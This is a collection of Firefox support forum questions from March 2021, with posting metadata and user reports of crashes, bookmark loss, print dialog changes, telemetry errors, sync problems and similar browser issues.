<p>All of a sudden, Firefox appears frozen on launch: doesn't launch any web page, or any page, in face--preference, or any of the about: pages. Just blank page. Clicks are registered, but don't have any effect. </p><p>If I close the window, multiple firefox processes linger for a while, and then the crash window pops up. </p><p>So far, I've: deleted the ~/.mozilla directory; downloaded fresh version of both 86 and 87 developer editions; restarted with addons disabled; and various combinations thereof. </p><p>I'm on Linux Mint 64-bit, latest version. </p><p>Firefox is completely unusable for me now. And I think it started with my rebooting my PC (which I've done multiple times so far). </p><p>This looks suspiciously similar to <a href="https://www.reddit.com/r/firefox/comments/a5qru6/firefox_64_opens_blank_tab_and_crashes/" rel="nofollow">https://www.reddit.com/r/firefox/comments/a5qru6/firefox_64_opens_blank_tab_and_crashes/</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1513855" rel="nofollow">https://bugzilla.mozilla.org/show_bug.cgi?id=1513855</a>. They don't seem to have any solutions, though. </p><p>Any thoughts? </p>


created: 2021-03-05T02:19:54-08:00
updated: 2021-03-05T12:14:36-08:00
title: Firefox can't scroll down on some web pages
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396514;1396530;1396595;
creator: valerio4
content:
<p>Firefox can't scroll down or up on some web pages. You can only navigate them hitting Tab to select the elements. </p><p>This issue has been reported before, but archived without solution. See "why can't I scroll down on some websites?"  (27 May 2018): </p><p><a href="https://support.mozilla.org/en-US/questions/1219374" rel="nofollow">https://support.mozilla.org/en-US/questions/1219374</a> </p><p>This page seems to have a more particular behavior, may be it could help to pinpoint the problem: It does scroll up and down until you don't close the two pop up boxes, then you can't scroll it anymore (but you can still navigate the page using Tab). If you have an ad blocker that blocks the two pop up boxes, then you can't scroll the page at all. The same behavior happens on Google Chrome. </p><p><a href="https://www.latinacittaaperta.info/2018/06/07/kunt/" rel="nofollow">https://www.latinacittaaperta.info/2018/06/07/kunt/</a> </p>


created: 2021-03-05T01:32:44-08:00
updated: 2021-03-07T14:04:37-08:00
title: Firefox keeps chrashing (Ubuntu 18.04)
tags: desktop;fix-problems;crashes;ubuntu;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396515;1396517;1396556;1396560;1396619;1396655;1396848;1396871;1397053;
creator: boemboem
content:
<p>Hey, </p><p>I have a problem with firefox, i'm using a MacBookPro2012 with Ubuntu 18.04. It wont start at all, not even in save mode (without extensions). I tried to deinstall it several times, but after the reinstallation it keeps crashing.  </p><p>That's was the crash report says. I don't know what to do, can anybody help out?  </p><p>AdapterDeviceID: 0x0166 AdapterDriverVendor: mesa/i965 AdapterDriverVersion: 20.0.8.0 AdapterVendorID: 0x8086 AvailablePageFile: 0 AvailablePhysicalMemory: 7821504512 AvailableSwapMemory: 1027600384 AvailableVirtualMemory: 11206725632 BuildID: 20210222142601 CrashTime: 1614936641 DesktopEnvironment: gnome FramePoisonBase: 9223372036600930304 FramePoisonSize: 4096 InstallTime: 1614674339 IsWayland: 0 IsWaylandDRM: 0 MozCrashReason: OOB Notes: Ubuntu 18.04.5 LTSFP(D00-L1000-W00000000-T000) WR? WR+ OMTP? OMTP+3 libGL.so.1? libGL.so.1+  ProductID: {ec8030f7-c20a-464f-9b0e-13a3a9e97384} ProductName: Firefox ReleaseChannel: release SafeMode: 0 SecondsSinceLastCrash: 51498 StartupCrash: 1 StartupTime: 1614936641 TelemetrySessionId: 645bdb53-8049-4919-ab53-00995b6d316a ThreadIdNameMapping: 22039:"IPC I/O Parent",22040:"Timer",22041:"Netlink Monitor",22042:"Socket Thread",22043:"Permission",22046:"JS Watchdog",22047:"JS Helper",22049:"JS Helper",22050:"JS Helper",22048:"JS Helper",22051:"BGReadURLs",22054:"Cache2 I/O",22055:"Cookie",22056:"StreamTrans #1",22057:"Worker Launcher",22062:"GLXVsyncThread",22067:"Renderer",22069:"WRWorker#1",22071:"WRWorker#3",22074:"WRWorkerLP#2",22072:"WRWorkerLP#0",22073:"WRWorkerLP#1",22068:"WRWorker#0",22076:"Compositor",22075:"WRWorkerLP#3",22070:"WRWorker#2", Throttleable: 1 TotalPageFile: 17749499904 TotalPhysicalMemory: 16721899520 UptimeTS: .76795416 Vendor: Mozilla Version: 86.0 </p><p>This report also contains technical information about the state of the application when it crashed. </p>


created: 2021-03-05T01:04:45-08:00
updated: 2021-03-05T02:32:33-08:00
title: Bookmarks losing web addresses
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396507;1396508;1396509;
creator: talkingcats
content:
<p>I have been using Firefox for 10+ years but have encountered a completely new problem in the last few weeks.  Random bookmarks have been losing their web addresses.  The bookmark remains but the URL has disappeared.  You can't edit the bookmark to re-enter the URL and the only solution is to delete and recreate.  Often several bookmarks in different folders are impacted.  I have now taken to backing up my bookmarks every time I create a new one.   </p><p>Anyone seen anything like this or know what the solution is?   </p><p>Many thanks </p><p>Firefox version = 86.0 64 bit (but the problem started before 86.0 rolled out) OS version = Windows 10 Pro 2004 64 bit </p>


created: 2021-03-05T00:38:49-08:00
updated: 2021-03-05T04:07:39-08:00
title: Master computer when sync bookmarks
tags: desktop;bookmarks;windows-10;firefox-850;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396516;
creator: micke2
content:
<p>Hi </p><p>Very annoying, cleaning all my bookmarks on my main computer, next morning I got a clutter of all bookmarks. Copy of bookmarks as well of folders. </p><p>Only way to solve it is to make new sync ID, or? </p><p><br> Micke </p>


created: 2021-03-05T00:00:17-08:00
updated: 2021-03-05T00:07:53-08:00
title: Print function
tags: mac-os;desktop;download-and-install_1;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396494;
creator: info4976
content:
<p>Hello, is there a way to turn off the new print function. I want my print program to open and not a complicated print program that cannot be used by us. Since this new setting, we can no longer print properly and have to do all print jobs with a screen print. </p>


created: 2021-03-04T22:28:27-08:00
updated: 2021-03-05T00:21:13-08:00
title: Prevent new windows losing pinned tabs?
tags: desktop;tabs;
product: firefox
topic: tabs
locale: en-US
answers: 1396497;
creator: timyorke
content:
<p>Hi. Is there an option to prevent closing Firefox losing all my pinned tabs if I close Firefox windows in the wrong order? </p><p>I'd like to use pinned tabs is to keep tabs and their scroll positions across sessions, but I lose mine continuously simply because I accidentally close my FF windows in wrong order (original window not last - very easy to do!). </p><p>Thanks,  Tim </p>


created: 2021-03-04T22:25:35-08:00
updated: 2021-03-04T23:36:44-08:00
title: Bookmarks don't work
tags: windows-7;desktop;bookmarks;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396490;
creator: davidbullock.law
content:
<p>After updating to Firefox 86.0 (64-bit), none of my bookmarks work.  The properties area for each bookmark is entirely blank, with no URLs shown.  How do I restore my bookmarks and why did their functionality disappear in the first place? </p>


created: 2021-03-04T21:38:52-08:00
updated: 2021-03-05T12:17:18-08:00
title: Firefox reports incorrect time
tags: linux;desktop;fix-problems;firefox-780;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396499;1396533;1396538;1396596;
creator: konstantin2
content:
<p>Firefox: latest (86.0 at the moment of posting this question) OS: Ubuntu 18.04.5 </p><p>Problem: Firefox always reports time (to sites) in UTC (my correct timezone is UTC+7). That refers to site like <a href="http://everytimezone.com" rel="nofollow">everytimezone.com</a>. </p><p>At the same time, Google Chrome on the same system reports correct time. </p><p>System clocks are synced to external time servers, time drift is negligible (if any). </p><p>How can one make Firefox report correct time (preferably without any extensions)? </p>


created: 2021-03-04T21:06:01-08:00
updated: 2021-03-04T23:37:44-08:00
title: How can I stop the update notification my firefox is macos version 81.0.2
tags: mac-os;desktop;other;firefox-810;
product: firefox
topic: other
locale: en-US
answers: 1396491;
creator: zapp.cheng
content:
<p>it popup frequently, it annoying! can you remove this popup next version? and fire who make this design. i don't need it </p>


created: 2021-03-04T20:18:20-08:00
updated: 2021-03-04T20:44:58-08:00
title: How can I export my about:config from firefox developer edition to firefox browser?
tags: desktop;privacy-and-security_1;windows-10;firefox-780;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396479;1396482;
creator: JSONman
content:
<p>I made changes to my about:config that improve the privacy of my browser, but I realized that I want to keep the default settings in firefox developer edition as I do web development. Is there a way to export the about:config settings that I have modified to the normal version of firefox so that I can use it for personal stuff? </p>


created: 2021-03-04T19:36:35-08:00
updated: 2021-03-09T18:00:06-08:00
title: Bookmarks showing in address bar search that are not in my bookmarks
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396487;1396500;1397607;
creator: jonathan.wenck
content:
<p>I noticed occasionally that an odd entry might come up every now and again in the address bar auto-complete, and they always had a little blue star. Turns out that's the "bookmarks" autocomplete option. Once I located one of them, I searched through my bookmarks to try to delete it, but it is not there. I actually went through and deleted all of my bookmarks in Firefox save two, and lo and behold there are still dozens, possibly hundreds, of "bookmarked" suggestions in the autocomplete bar. For instance, <a href="http://woot.com" rel="nofollow">woot.com</a>; I used to have it bookmarked, but since I haven't used it in months, I deleted it. Yet when I click on "bookmarks" in the address bar search, <a href="http://woot.com" rel="nofollow">woot.com</a> shows up among a dozen other entries which are clearly not in my bookmarks.  </p><p>I checked my other browsers and cleared their bookmarks as well, although none of them had <a href="http://woot.com" rel="nofollow">woot.com</a> bookmarked as far as I can tell. I deleted browsing history older than 6 months and searched through both my bookmarks and history, finding no entries for this. I went to the Options menu, Privacy and Security, and Address Bar, and disabled "Bookmarks", and found that doing so DOES in fact prevent these supposed bookmarks from being suggested in the address bar when typing.  </p><p>I'd like to be able to remove these old, outdated suggestions from my address bar while still leaving the bookmarked page search function working. Where is Firefox pulling these old bookmarks from? How can I delete them? </p>


created: 2021-03-04T19:23:41-08:00
updated: 2021-03-04T19:27:19-08:00
title: import login data
tags: mac-os;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396467;
creator: exekutive
content:
<p>I want to import passwords from Lastpass (I've already exported to CSV file) </p><p>According to Mozilla help there should be an option to import from file <a href="https://support.mozilla.org/en-US/kb/import-login-data-file" rel="nofollow">https://support.mozilla.org/en-US/kb/import-login-data-file</a> </p><p>I only see import from browser. </p>


created: 2021-03-04T19:23:29-08:00
updated: 2021-03-06T13:22:27-08:00
title: Drop down menus
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1396470;1396653;1396668;1396702;1396742;
creator: David2
content:
<p>I am experiencing a problem with drop down menus, on all websites, when using firefox. I had to post this question using the Edge browser, because the mandatory "Which topic best describes your question?" requires opening a drop down menu, which I cannot do with firefox. It has been this way for quite some time now, so I don't use firefox that much anymore. I always keep firefox updated, and I have tried disabling all plugins/addons to see if they were causing the problem.  No luck. </p><p>Any ideas on how to solve this would be most welcome. </p>


created: 2021-03-04T19:16:16-08:00
updated: 2021-03-04T21:00:15-08:00
title: Browsher
tags: mac-os;desktop;fix-problems;firefox-800;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396486;
creator: sandrineak
content:
<p>I have a macbook air and everytime i have to update or restart my computer, for some reason i don't understand why firefox signs me out of everything and says i have to  set up the browse all over each time? Why would i need to do this constantly! It's very annoying . I didnt delete any cookies or whatever. What's going on? please help i can't find answers!! </p>


created: 2021-03-04T18:08:23-08:00
updated: 2021-03-05T01:39:32-08:00
title: Tabs get lost - can I recover them?
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396503;
creator: syuro
content:
<p>Often I have multiple important tabs open which are difficult to rediscover. I have the option enabled for Firefox to remember my tabs before closing. However, for example sometimes when a link gets opened from an external application (by accident), all my tabs get lost. Can I restore the session from just before it happened? </p><p>(I asked the same thing last year but got no replies and I'm still having this issue today, I tried to be as descriptive as possible but maybe it was too much text to read. I apologize) </p>


created: 2021-03-04T17:29:03-08:00
updated: 2021-03-08T06:47:03-08:00
title: Defective Print Menu
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396675;1396730;1396760;1397182;
creator: FortneyJT
content:
<p>How can I disable the new defective Print Menu so I don't have to select "Print using system dialog" every time? </p><p>Using Version 86.0 </p>


created: 2021-03-04T16:40:34-08:00
updated: 2021-03-04T19:37:51-08:00
title: Firefox is extremely show, won't go to websites.
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396472;
creator: rsours
content:
<p>This past weekend, it appeared that firefox's servers crashed. I patiently waited for it to come back up. Tried to use it the next day and it's just not working correctly. It will open up to the default firefox page (not my home page), but that's about it. I can't get to other websites, it just won't go. I've tried reinstalling and nothing has worked. Please help. Trying to maneuver to other things w/in that page is like molasses. </p>


created: 2021-03-06T15:57:38-08:00
updated: 2021-03-06T15:57:38-08:00
title: telemetry
tags: desktop;beta;fix-problems;windows-10;firefox-870;
product: firefox
topic: fix-problems
locale: en-US
creator: jmv1
content:
<p>I am getting these errors in the browser console. I am using Firefox Developer 87.0b6 I have disabled all telemetry options except for telemetry enables, because that is locked, but I am STILL getting pin errors. <a href="https://support.mozilla.org/en-US/questions/1197144" rel="nofollow">https://support.mozilla.org/en-US/questions/1197144</a> See my about:config settings below.  How do I stop this?  The errors are particularly annoying because they don't clear when refreshing a page like other errors.  Debugging is extremely painful. </p><p><br> </p><p>1615073898294	Toolkit.Telemetry	ERROR	TelemetrySend::sendPersistedPings - failed to send ping 68c33955-63f8-4bcb-92d7-0446914df64b: SyntaxError: The URI is malformed. Stack trace: open()@resource://gre/modules/ServiceRequest.jsm:43 _doPing()@resource://gre/modules/TelemetrySend.jsm:1305 _sendPersistedPings/&lt;()@resource://gre/modules/TelemetrySend.jsm:1183 Log.jsm:723 </p><pre>   append resource://gre/modules/Log.jsm:723    log resource://gre/modules/Log.jsm:379    log resource://gre/modules/Log.jsm:508    error resource://gre/modules/Log.jsm:387    _sendPersistedPings resource://gre/modules/TelemetrySend.jsm:1185 </pre> <p>app.update.lastUpdateTime.telemetry_modules_ping	1614786916	 app.update.lastUpdateTime.telemetry_untrustedmodules_ping	1614989987	 browser.newtabpage.activity-stream.feeds.telemetry	false	 browser.newtabpage.activity-stream.telemetry	false	 browser.newtabpage.activity-stream.telemetry.structuredIngestion.endpoint	<a href="https://incoming.telemetry.mozilla.org/submit" rel="nofollow">https://incoming.telemetry.mozilla.org/submit</a>	 browser.newtabpage.activity-stream.telemetry.ut.events	false	 browser.ping-centre.telemetry	false	 browser.urlbar.eventTelemetry.enabled	false	 devtools.onboarding.telemetry.logged	false	 devtools.telemetry.tools.opened.version	{"DEVTOOLS_OS_ENUMERATED_PER_USER":"55.0","DEVTOOLS_OS_IS_64_BITS_PER_USER":"55.0","DEVTOOLS_SCREEN_RESOLUTION_ENUMERATED_PER_USER":"61.0"}	 dom.security.unexpected_system_load_telemetry_enabled	false	 network.trr.confirmation_telemetry_enabled	false	 privacy.trackingprotection.origin_telemetry.enabled	false	 security.app_menu.recordEventTelemetry	false	 security.certerrors.recordEventTelemetry	false	 security.identitypopup.recordEventTelemetry	false	 security.protectionspopup.recordEventTelemetry	false	 services.settings.main.search-telemetry.last_check	1614974675	 services.sync.telemetry.maxPayloadCount	500	 services.sync.telemetry.submissionInterval	43200	 telemetry.fog.test.activity_limit	120	 telemetry.fog.test.inactivity_limit	1200	 telemetry.fog.test.localhost_port	0	 telemetry.number_of_site_origin.min_interval	300000	 telemetry.origin_telemetry_test_mode.enabled	false	 toolkit.telemetry.archive.enabled	false	 toolkit.telemetry.bhrPing.enabled	false	 toolkit.telemetry.cachedClientID	c0ffeec0-ffee-c0ff-eec0-ffeec0ffeec0	 toolkit.telemetry.debugSlowSql	false	 toolkit.telemetry.ecosystemtelemetry.enabled	false	 toolkit.telemetry.enabled	true	 toolkit.telemetry.firstShutdownPing.enabled	false	 toolkit.telemetry.geckoview.batchDurationMS	5000	 toolkit.telemetry.geckoview.maxBatchStalenessMS	60000	 toolkit.telemetry.geckoview.streaming	false	 toolkit.telemetry.hybridContent.enabled	false	 toolkit.telemetry.ipcBatchTimeout	2000	 toolkit.telemetry.newProfilePing.enabled	false	 toolkit.telemetry.pioneer-new-studies-available	false	 toolkit.telemetry.previousBuildID	20210304190020	 toolkit.telemetry.reportingpolicy.firstRun	false	 toolkit.telemetry.server		 toolkit.telemetry.server_owner	Mozilla	 toolkit.telemetry.shutdownPingSender.enabled	false	 toolkit.telemetry.shutdownPingSender.enabledFirstSession	false	 toolkit.telemetry.testing.overrideProductsCheck	false	 toolkit.telemetry.unified	false	 toolkit.telemetry.updatePing.enabled	false </p>


created: 2021-03-06T15:44:11-08:00
updated: 2021-03-06T17:23:00-08:00
title: browser history
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1396790;1396792;
creator: kyriakos72
content:
<p>Hi, because of a crypto scam (already 2 weeks ago) i am looking to recover my browser history? I need the information for the company which investigates my case. </p><pre>I found some info online to recover, but it only worked a little, but not what i was looking for?  </pre> <p>I hope somebody can give some instructions , tricks to try to recover something. </p><p>greetings, Kyri. </p>


created: 2021-03-06T15:31:35-08:00
updated: 2021-03-06T17:26:52-08:00
title: Logging into different accounts are merging information for everyone
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1396788;1396793;
creator: ded5833
content:
<p>I'm not sure if this is a question or not. But when I had a friend log out of my account on my PC Firefox browser and sign in to hers, it merged her personal data to my local PC and then merged with my own account after I logged into mine. There's an option to delete it, but if you accidentally don't check it, it stays there. She tried logging in and logging out and checking the delete local files, but her information is still stored on my PC and account. Funnily enough, later that day, I logged into her PC and browser and it's the same thing there. We only realized this just now. Is there a way to fix this all at once? </p><p>It'd be much preferable if Firefox accounts were instanced by default, and all personal data is exclusively with that account. With options to merge or download information longer term. </p>


created: 2021-03-06T15:31:34-08:00
updated: 2021-03-06T21:42:35-08:00
title: Multi-account Containers plugin prevents pages from loading
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396784;1396789;1396795;1396798;
creator: rubenwardy
content:
<p><strong>System Information</strong> </p> <ul><li> Firefox: version 86.0 </li><li> Hardware: Dell XPS 13 9370  </li><li> OS: Manjaro Linux x86_64 </li><li> DE: XFCE </li><li> CPU: Intel i7-8550U (8) @ 4.000GHz  </li><li> GPU: Intel UHD Graphics 620  </li><li> RAM: 16GB </li><li> Multi-account containers: 7.3.0 </li><li> I use Pihole hosted on an RPi. </li></ul> <p><strong>Problem</strong> </p><p>For the last few versions, opening Firefox would result in no pages loading. The tabs would keep spinning with no result. </p><p>I've disabled plugins to find the cause, and have found that I can't reproduce this issue with no plugins enabled, but can reproduce this issue with <em>only</em> the Firefox Multi-account containers plugin enabled. </p><p>This problem also doesn't happen if I delete <em>rm -rf ~/.cache/mozilla/firefox/*.default-release</em> before starting Firefox, even with the plugin enabled. </p><p>When I have this problem, I can disable the Firefox Multi-account containers plugin to get the tabs to load, and then re-enable it. This implies the plugin is somehow blocking the tabs from loading. </p><p>Thank you for taking the time to read this question. Let me know if you would like any more information. </p>


created: 2021-03-06T14:33:10-08:00
updated: 2021-03-06T15:28:59-08:00
title: Viewing TV on PC
tags: desktop;customize;needsinfo;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396766;
creator: gdewar
content:
<p>My TV service doesn't work on Firefox because I need the Silverlight add on. The service works on Chrome. How do I get it to work on Firefox? </p>


created: 2021-03-06T14:15:33-08:00
updated: 2021-03-06T14:15:33-08:00
title: Feature Request: Firefox doesn't display informative error for failed DoH requests
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
creator: epaalx+firefox
content:
<p>The great thing about DNS over HTTPS is that it's done at Application Layer. However, Firefox doesn't leverage this - producing a boilerplate response when DNS response failed. </p><p>I'm using NextDNS with P O R N category blocked, with <a href="https://dns.nextdns.io/XXXX" rel="nofollow">https://dns.nextdns.io/XXXX</a> as my TRR (and network.trr.mode is "3") </p><p>When NextDNS does its job and responds with Server failed, Firefox should be able to produce an informative response to the user, rather than "Firefox can’t establish a connection to the server at P O R N .com." which is more about connectivity than DNS failure. </p><p>Feature Request: Firefox be more informative DoH DNS failures? </p><p>Stretch Feature Request: if network.trr.mode is "2", Firefox passively notifies user that preferred method failed. </p>


created: 2021-03-06T13:43:20-08:00
updated: 2021-03-06T13:43:20-08:00
title: Firefox [Fedora 33] - New Tabs Do Not Open
tags: desktop;tabs;firefox-860;
product: firefox
topic: tabs
locale: en-US
creator: 575scott
content:
<p>Hello, </p><p>When I press CTRL + T to open a new tab, then enter a query in the address bar to search in the default search engine, the tab doesn't load at all. At the top of the tab, it still reads "New Tab" and the address bar fills up with the search query's URL.  This used to only occur every 2 or 3 times I opened a new tab to search something in this way, but now it is occurring every time I attempt to open a new tab.   </p><p>I have Google Container installed as an addon, which automatically opens any Google domain in a new container tab. Strangely, if I navigate to <a href="http://google.com" rel="nofollow">google.com</a>, then back to <a href="http://duckduckgo.com" rel="nofollow">duckduckgo.com</a> to search, this resets the tab.  I've tried uninstalling the Google Container addon, but the issue persists.  Any help is appreciated! </p>


created: 2021-03-06T12:36:26-08:00
updated: 2021-03-06T13:34:42-08:00
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396736;1396745;
creator: c.rooster.b
title:
If I view highly confidential PDF files in Firefox what happens to that content when I close the tab?

content:
<p>Suppose I'm reviewing financial documents in PDF from my broken in Firefox. They include highly sensitive personal information and when I'm done looking at them I want to close that PDF view tab and know the data's not hanging around in some temporary file store.   </p><p>Other than purging my browsing history every time I do this, is there a setting for this? </p>


created: 2021-03-06T12:32:22-08:00
updated: 2021-03-06T19:39:15-08:00
title: error no encuentra fichero VCRUNTIME140_1.DLL
tags: desktop;fix-problems;needsinfo;
product: firefox
topic: fix-problems
locale: es
answers: 1396807;
creator: jcra34
content:
<p>Buenas, </p><p>Al iniciar el navegador firefox, me sale el error "no se encuentra el archivo VCRUNTIME140_1.DLL",de manera que se inicia el navegador pero no me carga ninguna pagina web. </p><p>.- He reinstalado el firefox... y no ha funcionado. .- He reinstalado el sistema operativo windows 10 con todas sus actualización a dia de hoy...y tampoco ha funcionado </p><p>Que mas puedo hacer? </p><p>Saludos </p>


created: 2021-03-06T11:59:17-08:00
updated: 2021-03-06T13:09:48-08:00
title: For more than a year: "A web page is slowing down your browser"
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396737;
creator: swamper
content:
<p>For more than a year, I've been plagued with, "A web page is slowing down your browser." </p><p>It appears most often on Facebook and while multiple tabs are loaded, but other websites cause it to happen, as well, even when Facebook isn't loaded at all.  The fewest multiple tabs that trigger this behavior is two (2), though it usually rears its head with around seven or more. </p><p>It appears whether extensions or plugins are disabled or not. </p><p>This never happens with Google Chrome. </p><p>I'm using the latest, 64-bit version of Firefox with automatic updates enabled. </p><p>This has been happening for more than a year. </p><p>Once a page begins to display this, it's done for the day about 80% of the time. </p><p>Closing multiple tabs does NOT solve the problem once it occurs. </p><p>Closing Firefox entirely (all tabs) does solve the problem, but only for a while. </p><p>Choosing Stop It or Wait doesn't seem to solve anything. </p><p>I've tried uninstalling and reinstalling Firefox, twice. </p><p>OS:  Windows 10 64-bit Anti-virus:  Bitdefender Total Security for the second half of the year; Norton Security for the first half of the year. </p><p>I really wish Mozilla would put some effort into actually FIXING this major problem, as I've reached the point where I'm about to ditch Firefox entirely and go back to using Google Chrome.  Judging by what I've found in these forums, it's been around since 2017, and none of the tips given therein have worked. </p><p>It's almost as if something in a tab other than the current one is occupying an excessive amount of processor cycles, and instead of managing it properly, Firefox gets hung up trying to  </p><p>Suspicion:  Facebook, possibly YouTube (owned by Google) intentionally "exercises" Firefox browsers in the hopes of getting users to drop it and go back to the far less secure Google Chrome. </p><p>Thank you for your time. </p>


created: 2021-03-06T11:48:33-08:00
updated: 2021-03-07T14:36:20-08:00
title: Firefox is now giving a warning message for ALL internet sites
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1396732;1396874;1396913;1397060;
creator: jdior
content:
<p>This is the error message that has suddenly started appearing today whenever I attempt to open a site (Google, my email, etc):  </p><p>"Did Not Connect: Potential Security Issue Firefox detected a potential security threat and did not continue to <a href="http://www.google.com" rel="nofollow">www.google.com</a> because this website requires a secure connection." </p><p>I have uninstalled and reinstalled Firefox. But the same problem remains. I have also run a Kaspersky complete analysis, but it shows that everything is OK - even though it most certainly is not OK. It is as if Microsoft is forcing me to use Microsoft Edge, a browser I don't like. Does anyone have any suggestions? I would really like to get Firefox back safe and unharmed. </p><p>Thanks, Julie </p>


created: 2021-03-06T11:40:28-08:00
updated: 2021-03-11T11:00:12-08:00
title: Firefox 86 on Mac crashes on opening gmail.com and meet.google.com
tags: desktop;fix-problems;escalate;bug_1;mac-os-x-10156;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396717;1396738;1396739;1396744;1396787;1398056;
creator: contact452
content:
<p>My Firefox installation (86.0 64-bit on macOS 10.15.7) always crashes on opening <a href="http://gmail.com" rel="nofollow">gmail.com</a>. It seems to be on the point it loads the hangout stuff, but that's subjective. Also seems to happen on other google domains, like <a href="http://meet.google.com" rel="nofollow">meet.google.com</a> </p><p>Some Crash ID's bp-b0a5daca-f85f-47dc-a306-647250210306 (<a href="http://gmail.com" rel="nofollow">gmail.com</a> crash) bp-d4e0a614-cea4-41b3-b665-e5abd0210306 (<a href="http://meet.google.com" rel="nofollow">meet.google.com</a> crash) </p><p>What I've done: </p> <ul><li> Tested if crash happens in safe mode (yes) </li><li> Refreshed my installation: still happens </li><li> Removed all cookies for google domains, still happens </li><li> Created a fully new profile, crash still happens </li><li> Installed a new Firefox from the website, crash still happens </li></ul>


created: 2021-03-06T11:27:30-08:00
updated: 2021-03-06T13:02:27-08:00
title: Page zooms but zoom feature says it's still at 100%
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396734;
creator: laynaa
content:
<p>I just updated to a new laptop, and I'm now having a problem with Firefox. I'll be reading a page, when it will suddenly zoom in - the zoom feature stays at 100%, but I have to scroll across the page to get to the end of lines. I can't figure out how to make it go back to normal - I have to close the tab, then open a new tab and open the URL again on that.  </p><p>What is causing this? Is it a setting I can change? How do I fix it? </p><p>Thanks!!! </p>


created: 2021-03-06T11:06:14-08:00
updated: 2021-03-06T21:30:35-08:00
title: Send is grayed out when trying to email a web page link using envelope icon on menu bar
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396770;1396839;
creator: bob-edwards
content:
<p>Send is grayed out when trying to email a web page link using envelope icon on menu bar, even after I enter a mail-to address </p>


created: 2021-03-06T11:04:36-08:00
updated: 2021-03-07T07:07:08-08:00
title: Opening links from discord on firefox nightly
tags: desktop;fix-problems;needsinfo;windows-10;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396771;1396805;1396840;1396952;
creator: jacobsopope
content:
<p>Whenever I open a link from discord it opens a firefox nightly window that has no text on it that immediately crashes </p>


created: 2021-03-06T10:20:59-08:00
updated: 2021-03-07T09:24:56-08:00
title: My USAA website will not load the logon
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396741;1396834;1396838;1396962;1396971;
creator: hlorenz
content:
<p>After updating to the latest Firefox, my USAA Banking website will not load properly.  It will only display the top banner and even that is dysfunctional.  I am also having issues with Ebay and facebook. I have turned off enhanced tracking for the site. I have enabled cookies Running Big Sur 11.2.2 Bluhell Firewall 2.8 </p>


created: 2021-03-06T09:40:23-08:00
updated: 2021-03-07T05:56:47-08:00
title: "n.accessEnabler is null" on ESPN
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396772;1396928;1396931;
creator: jchaph2o
content:
<p>After last update, Version 86.0,  when trying to watch an event on ESPN, I get "n.accessEnabler is null" and the event will not play.  This was not a problem until the last update </p>


created: 2021-03-06T09:39:40-08:00
updated: 2021-03-06T19:40:35-08:00
title: Textos sobrepuestos en ciertas páginas web, Windows 10
tags: desktop;fix-problems;needsinfo;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: es
answers: 1396808;
creator: Chris_Farfan
content:
<p>Hola todos, uso una laptop Lenovo con Windows 10 y tiempo atrás me apareció este problema: Cuando navego en ciertas páginas, me aparecen estos textos que no sé cómo desaparecerlos, pareciese un lenguaje de programación o algo así, lo veo cuando entro a <em>Google Meet</em> o como esta página que es del seguro social. </p><p>Ya intenté reinstalar el Firefox pero el problema persiste, desde ya agradezco sus respuestas. </p>


created: 2021-03-06T09:08:29-08:00
updated: 2021-03-08T04:59:19-08:00
title: Is it really so easy to break the Primary Password?
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396740;1396877;1397056;1397072;1397167;
creator: Dor
content:
<p>When being prompt for the primary password, I noticed that I can rapidly and endlessly type random combinations and press enter. There seems to never be any delay between wrong entering of passwords. So it seems that even the most primitive application that would try all possible combinations rapidly, will break the password in few hours for the most. This does not even require any knowledge in hacking. Is this correct or am I missing something? If that is the case, then primary password is only worth when keeping the computer unattended for no more than few minutes. </p>


created: 2021-03-06T08:24:21-08:00
updated: 2021-03-06T15:05:33-08:00
title: Betaya geçme
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: tr
answers: 1396764;
creator: umutpolatguler
content:
<p>Merhaba. Firefox Beta'ya geçmek istiyorum. Bunu sanki ana branch'e güncelleme gelmiş gibi yapabilmenin yolu var mı, yoksa illa clean install mı gerekiyor? </p>


created: 2021-03-06T07:55:17-08:00
updated: 2021-03-07T07:21:04-08:00
title: Firefox freezes when I switch video on Youtube
tags: desktop;fix-problems;windows-81;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396955;
creator: flashr
content:
